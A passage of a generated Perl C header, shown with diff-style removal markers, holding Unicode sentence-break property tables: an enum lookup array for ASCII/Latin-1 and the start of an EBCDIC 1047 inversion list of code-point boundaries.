SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Sp, - SB_Format, - SB_Extend, - SB_Format, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_ATerm, - SB_Other, - SB_Sep, - SB_Format, - SB_Sp, - SB_Other, - SB_Close, - SB_Other, - SB_STerm, - SB_Other, - SB_Close, - SB_STerm, - SB_Other, - SB_Sp, - SB_Format, - SB_Other, - SB_Format, - SB_Other, - SB_Lower, - SB_Other, - SB_Close, - SB_Lower, - SB_Other, - SB_Close, - SB_Other, - SB_Lower, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Other, - SB_STerm, - SB_Other, - SB_Close, - SB_Other, - SB_Sp, - SB_SContinue, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Lower, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Numeric, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Close, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_SContinue, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_Extend, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_SContinue, - SB_ATerm, - SB_Other, - SB_SContinue, - SB_STerm, - SB_SContinue, - SB_Close, - SB_Other, - SB_SContinue, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_STerm, - SB_Other, - SB_Close, - SB_Other, - SB_SContinue, - SB_ATerm, - SB_Other, - SB_SContinue, - SB_Other, - SB_STerm, - SB_Other, - SB_Upper, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Lower, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_STerm, - SB_Close, - SB_SContinue, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Format, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Extend, - SB_STerm, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_Upper, - SB_Lower, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_STerm, - SB_Format, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Format, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Lower, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Close, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_SB_invlist[] = { /* for EBCDIC 1047 */ - 3026, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x42, - 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x51, - 0x5A, - 0x5B, - 0x5D, - 0x5E, - 0x60, - 0x61, - 0x62, - 0x6A, - 0x6B, - 0x6C, - 0x6F, - 0x70, - 0x71, - 0x79, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xBD, - 0xBE, - 0xC0, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BC, - 0x1BD, - 0x1C0, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x370, - 0x371, - 0x372, - 0x373, - 0x374, - 0x375, - 0x376, - 0x377, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 